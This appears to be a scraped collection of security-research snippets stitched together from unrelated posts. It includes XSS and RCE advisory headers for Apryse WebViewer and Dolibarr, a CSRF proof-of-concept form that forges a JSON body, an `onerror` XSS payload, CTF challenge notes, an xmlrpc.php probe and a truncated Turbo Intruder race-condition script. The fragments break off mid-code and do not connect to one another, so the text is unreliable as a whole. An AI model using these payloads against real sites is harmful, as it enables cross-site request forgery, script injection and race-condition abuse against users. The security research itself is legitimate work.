Date Published: Feb 24 2025
A Cross-Site Scripting (XSS) vulnerability has been identified in Apryse WebViewer versions up to and including 11.1. This vulnerability allows remote attackers to execute arbitrary JavaScript code by supplying a crafted PDF file. The issue arises due to improper sanitization of user-supplied input during PDF rendering.
CSRF can be done in JSON requests if other mime types like text/plain are supported but data strcture should be of type JSON.
PoC:
<html>
<body>
<form action="https://example.com/link-device.php" method="POST" enctype="text/plain">
<input type="hidden" name='{"code":"BINGOOOOM","foo=' value='":""}' />
Mod of https://gist.github.com/alexlauerman/8569945
Includes space charcter also, works for Intruder -> Bruteforcer
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
0
1
Description: Remote Code Execution(RCE) in Dolibarr
Versions Affected: <= 20.0.4
Date: December 22, 2024
Researcher: Muhammad Zeeshan (Xib3rR4dAr)
Product Link: https://www.dolibarr.org
blob://example.com/3dfab3bd-a892-4448-92c3-de92d8eed2ea
<img src=x onerror=alert(1)>
Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') is required to enable inline execution. Note that hashes do not apply to event handlers, style attributes and javascript: navigations unless the 'unsafe-hashes' keyword is present.
angular.min.js
Challenge Name: phash
Challenge Text: login source
Initial Hint: No Hint
First Hint (when no one solved): Marvel characters (lowercased)
Second Hint: Who was the character that fans speculated would appear in a "Marvel Show" but ultimately did not make an appearance? (Third Hint was provided after first 🩸 was obtained by me)
Provided:
Challenge Name: Conundrum
Challenge Text: Superuser
Hint: No hint provided
URL: https://challs.aupctf.live/conundrum/
Provided:
POST /xmlrpc.php HTTP/1.1
Host: example.com
Content-Length: 91
Content-Type: application/x-www-form-urlencoded
<methodCall>
<methodName>system.listMethods</methodName>
| # From https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/race.py | |
| def queueRequests(target, wordlists): | |
| engine = RequestEngine(endpoint=target.endpoint, | |
| concurrentConnections=30, | |
| requestsPerConnection=100, | |
| pipeline=False | |
| ) | |
| # the 'gate' argument blocks the final byte of each request until openGate is invoked | |
| for i in range(30): |